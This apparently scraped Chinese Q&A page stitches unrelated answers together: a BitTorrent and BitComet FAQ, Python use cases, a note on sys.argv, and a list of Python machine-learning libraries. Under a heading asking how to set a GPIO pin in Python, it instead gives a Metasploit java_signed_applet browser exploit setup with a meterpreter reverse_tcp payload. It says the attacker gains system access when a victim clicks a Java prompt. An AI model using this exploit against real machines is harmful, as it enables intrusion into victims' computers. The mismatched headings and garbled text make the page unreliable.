pythonbt

1.BT是什么,可以下载的吗?有什么用?如可下,请符地址!

BT:BT是一种共享软件(不是“变态”),全名叫"BitTorrent"。

一般来讲,下载是把文件由服务器端传送到客户端,例如FTP,HTTP,PUB等等。 但是这样就出现了一个问题,随着用户的增多,对带宽的要求也随之增多,用户过多就会造成瓶颈,而且搞不好还会把服务器挂掉,所以很多的服务器会都有用户人数的限制,下载速度的限制,这样就给用户造成了诸多的不便。

但BT就不同,用BT下载反而是用户越多,下载越快,这是为什么呢?因为BT用的是一种传销的方式来达到共享的。 BT首先在上传者端把一个文件分成了Z个部分,甲在服务器随机下载了第N各部分,乙在服务器随机下载了第M个部分,这样甲的BT就会根据情况到乙的电脑上去拿乙已经下载好的M部分,乙的BT就会根据情况去到甲的电脑上去拿甲已经下载好的N部分,这样就不但减轻了服务器端得负荷,也加快了用户方(甲乙)的下载速度,效率也提高了,更同样减少了地域之间的限制。

比如说丙要连到服务器去下载的话可能才几K,但是要是到甲和乙的电脑上去拿就快得多了。所以说用的人越多,下载的人越多,大家也就越快,BT的优越性就在这里。

而且,在你下载的同时,你也在上传(别人从你的电脑上拿那个文件的某个部分),所以说在享受别人提供的下载的同时,你也在贡献。 资料参考网页: PS: 1,下载完成之后,不去点击Finish你就成为了一个纯Seed,也就是说提供别人下载的人。

2,点击了Finish之后,还是想成为Seed的同志(也就是ReSeed),就去再次下载想成为Seed的文件(保存到同一个地方),BT会自动检查(不会重新下载的),然后BT就会只提供上传,之后你就再次成为Seed了。 3,一些常用的术语解释 BT= BitTorrent 比特洪流 bit= 比特,位元(计算机信息单位) torrent= (水,熔岩等的)奔流;洪流 HTTP= HyperText Transmission Protocol 超文本传输协议 FTP= File Transfer Protocol 文件传送协议 PUB= 可以匿名登陆的FTP站点的统称 Seed= 种子 ReSeed= 相对与Seed来说就是二次开放的种子 P2P= Peer-to-Peer 点对点(传输) BitComet常见的问题解答 BitComet安全吗? BitComet基于BitTorrent协议,并有所改进(参考BitComet协议)。

BitTorrent是离散中心服务器(Tracker)型的P2P协议,目的在于高速分享大文件,而非匿名。下载/上传者的IP将被Tracker和其他下载/上传同一文件的用户获得(否则无法直接通讯),正在下载的文件将被共享。

但除此以外,用户机器上的其它文件都不会被泄露。 监听端口有什么作用? 监听端口能使你获得远程连接。

前提是你是公网ip,或你对监听的端口作了端口映射。 在端口通的情况下,很多内网用户就可连接到你。

你就可以和更多的人进行连接下载,你的速度就会快起来。简单的说,你不监听端口,将少了一半的传输机会。

Peer详细列表中什么是“远程”,什么是“本地”? 通俗地说“本地”就是自己根据IP找到了别人,“远程”就是别人根据你的IP找到了你。如果没有监听端口,或者没有公网IP,或者在网络防火墙后,或者网关没有端口映射,别人是找不到你的或者找到了也连不上,也就没有远程连接,这样的用户通常被称作“内网”。

谁都可以找到并连上公网用户;内网用户只能主动去找别人;内网用户和内网用户之间一般互相找不到。 BitComet和其他BitTorrent软件相比下载速度上有什么不同? BitComet是少数的不使用BitTorrent官方Python内核的BT下载软件之一。

作者灿烂微笑花费了相当长的时间用C++完全独立重写内核,曾经发布过N多测试版,并加入了如下的UPnP自动端口映射功能提升内网性能。应该说对性能的过份执着也是目前界面简朴的一个重要原因,只能对不住那些想要时尚花哨界面的朋友们了。

至于速度,请自行试用比较。 为什么说Bitcomet的磁盘缓存可以保护硬盘? 传统BT高速下载时硬盘会响得很厉害,这是大量的随机读取造成的。

举个例子:100M的文件是被分成256K大小的Piece(块),按最少存在原则随机下载,而每个Piece再被分成16K的slice(片)顺序请求,每次通讯就是以slice为单位的。 因此总的说是随机访问,但相邻slice的顺次访问几率较大,因此可以以piece为单位在内存中建立缓存。

BitComet可以由用户设置缓存大小。下载上传时通过统计标签可以看出缓存的效率:读/写命中率、磁盘读写请求频率和实际读写频率,可以明显地看出牺牲一小部分内存作缓存对硬盘的保护作用。

磁盘缓存应设置多少合适? BitComet的磁盘缓存功能可以有效地保护硬盘,提高读写效率,缓存设置多大并无一定之规。如果下载或是上传速度常常超过150KB/s,那么就有必要增大BitComet默认的缓存设置以进一步保护硬盘了,请根据自己的一般下载速度和内存容量设置。

BitComet允许设置缓存最小值、最大值、并且在分配之前检测当前物理内存以确保一定空余量,此外可以在全局统计中看到当前缓存分配状态。一般500KB/s的速度下建议将缓存最大值设定为40M以上。

BitComet续传不需要扫描,那么是如何保证文件完整的? BitComet将上一次的下载状态以xml文件形式保存在status目录下,只。

2.Python都被用在哪儿

目前业内几乎所有大中型互联网企业都在使用Python,如:Youtube、Dropbox、BT、Quora(中国知乎)、豆瓣、知乎、Google、Yahoo!、Facebook、NASA、百度、腾讯、汽车之家、美团等。

看看Python的主要应用领域: 1.云计算: 云计算最火的语言, 典型应用OpenStack 2.WEB开发: 众多优秀的WEB框架,众多大型网站均为Python开发,Youtube, Dropbox, 豆瓣, 典型WEB框架有Django 3.科学运算、人工智能: 典型库NumPy, SciPy, Matplotlib, Enthought librarys,pandas。 4.系统运维: 运维人员必备语言 5.金融:量化交易,金融分析,在金融工程领域,Python不但在用,且用的最多,而且重要性逐年提高。

6.图形GUI: PyQT, WxPython,TkInter。

3.如何在python中将某一gpio引脚设为输出

安装 Sun Java JDK 和 rjb gem, 并且设置环境变量—–code—–root@bt: apt-get install sun-java6-jdkroot@bt: gem install rjb变量设置root@bt: echo “JAVA_HOME=/usr/lib/jvm/java-6-sun” >> /etc/bash.bashrcroot@bt: echo “export JAVA_HOME” >> /etc/bash.bashrcroot@bt: JAVA_HOME=/usr/lib/jvm/java-6-sunroot@bt: export JAVA_HOME—end code———start metasploit—–use exploit/multi/browser/java_signed_appletset TARGET 1 //请注意你的目标set SRVHOST 10.2.4.200set SRVPORT 80set URIPATH penturaset PAYLOAD /meterpreter/reverse_tcpset LHOST 10.2.4.200set LPORT 4444—end metasploit——–———————————————————————-如果当有一台机子访问了你的80端口METASPLOIT控制端里将会显示详细的信息———————————————————————访问你80端口的机子浏览器会跳出java窗口,如果目标点击确定,你就能取得系统权限你还可以修改java小程序的,以便实现更加真是的ssl。

4.当使用os.execlp,为什么`python`还需`蟒将以argv

通过程序1可见,argv作为一个变量,是list类型的。其含有两个元素(都是字符串),第一个元素是“test2.py”即所执行的python脚本的名字;第二个元素才是我们想要的“第一个”命令行参数。

这个结论对于一般的python程序都是成立的,即argv[0]是脚本名,argv[1]是第一个命令行参数,argv[2]是第二个参数,等等。

程序2中的 script, first = argv 其实是用了一个特殊的python语法,即将argv[0]赋值给script变量,同时将argv[1]赋值给first变量。注意这种用法当且仅当argv的长度为2时才成立;如果要接受第二个命令行参数,就必须写成:script, first, second = argv

5.python机器学习库怎么使用

1. Scikit-learn(重点推荐)/scikit-learn/scikit-learnScikit-learn 是基于Scipy为机器学习建造的的一个Python模块,他的特色就是多样化的分类,回归和聚类的算法包括支持向量机,逻辑回归,朴素贝叶斯分类器,随机森林,Gradient Boosting,聚类算法和DBSCAN。

而且也设计出了Python numerical和scientific libraries Numpy and Scipy2、Keras(深度学习)/fchollet/kerasKeras是基于Theano的一个深度学习框架,它的设计参考了Torch,用Python语言编写,是一个高度模块化的神经网络库,支持GPU和CPU。3、Lasagne(深度学习)不只是一个美味的意大利菜,也是一个和Keras有着相似功能的深度学习库,但其在设计上与它们有些不同。

4.Pylearn2/lisa-lab/pylearn2Pylearn是一个让机器学习研究简单化的基于Theano的库程序。它把深度学习和人工智能研究许多常用的模型以及训练算法封装成一个单一的实验包,如随机梯度下降。

5.NuPIC/numenta/nupicNuPIC是一个以HTM学习算法为工具的机器智能平台。HTM是皮层的精确计算方法。

HTM的核心是基于时间的持续学习算法和储存和撤销的时空模式。NuPIC适合于各种各样的问题,尤其是检测异常和预测的流数据来源。

6. Nilearn/nilearn/nilearnNilearn 是一个能够快速统计学习神经影像数据的Python模块。它利用Python语言中的scikit-learn 工具箱和一些进行预测建模,分类,解码,连通性分析的应用程序来进行多元的统计。

7.PyBrain/pybrain/pybrainPybrain是基于Python语言强化学习,人工智能,神经网络库的简称。 它的目标是提供灵活、容易使用并且强大的机器学习算法和进行各种各样的预定义的环境中测试来比较你的算法。

8.Pattern/clips/patternPattern 是Python语言下的一个网络挖掘模块。它为数据挖掘,自然语言处理,网络分析和机器学习提供工具。

它支持向量空间模型、聚类、支持向量机和感知机并且用KNN分类法进行分类。9.Fuel/mila-udem/fuelFuel为你的机器学习模型提供数据。

他有一个共享如MNIST, CIFAR-10 (图片数据集), Google's One Billion Words (文字)这类数据集的接口。你使用他来通过很多种的方式来替代自己的数据。

10.Bob/idiap/bobBob是一个免费的信号处理和机器学习的工具。它的工具箱是用Python和C++语言共同编写的,它的设计目的是变得更加高效并且减少开发时间,它是由处理图像工具,音频和视频处理、机器学习和模式识别的大量软件包构成的。

11.Skdata/jaberg/skdataSkdata是机器学习和统计的数据集的库程序。这个模块对于玩具问题,流行的计算机视觉和自然语言的数据集提供标准的Python语言的使用。

12.MILK/luispedro/milkMILK是Python语言下的机器学习工具包。它主要是在很多可得到的分类比如SVMS,K-NN,随机森林,决策树中使用监督分类法。

它还执行特征选择。 这些分类器在许多方面相结合,可以形成不同的例如无监督学习、密切关系金传播和由MILK支持的K-means聚类等分类系统。

13.IEPY/machinalis/iepyIEPY是一个专注于关系抽取的开源性信息抽取工具。它主要针对的是需要对大型数据集进行信息提取的用户和想要尝试新的算法的科学家。

14.Quepy/machinalis/quepyQuepy是通过改变自然语言问题从而在数据库查询语言中进行查询的一个Python框架。他可以简单的被定义为在自然语言和数据库查询中不同类型的问题。

所以,你不用编码就可以建立你自己的一个用自然语言进入你的数据库的系统。现在Quepy提供对于Sparql和MQL查询语言的支持。

并且计划将它延伸到其他的数据库查询语言。15.Hebel/hannes-brt/hebelHebel是在Python语言中对于神经网络的深度学习的一个库程序,它使用的是通过PyCUDA来进行GPU和CUDA的加速。

它是最重要的神经网络模型的类型的工具而且能提供一些不同的活动函数的激活功能,例如动力,涅斯捷罗夫动力,信号丢失和停止法。16.mlxtend/rasbt/mlxtend它是一个由有用的工具和日常数据科学任务的扩展组成的一个库程序。

17.nolearn/dnouri/nolearn这个程序包容纳了大量能对你完成机器学习任务有帮助的实用程序模块。其中大量的模块和scikit-learn一起工作,其它的通常更有用。

18.Ramp/kvh/rampRamp是一个在Python语言下制定机器学习中加快原型设计的解决方案的库程序。他是一个轻型的pandas-based机器学习中可插入的框架,它现存的Python语言下的机器学习和统计工具(比如scikit-learn,rpy2等)Ramp提供了一个简单的声明性语法探索功能从而能够快速有效地实施算法和转换。

19.Feature Forge/machinalis/featureforge这一系列工具通过与scikit-learn兼容的API,来创建和测试机器学习功能。这个库程序提供了一组工具,它会让你在许多机器学习程序使用中很受用。

当你使用scikit-learn这个工具时。

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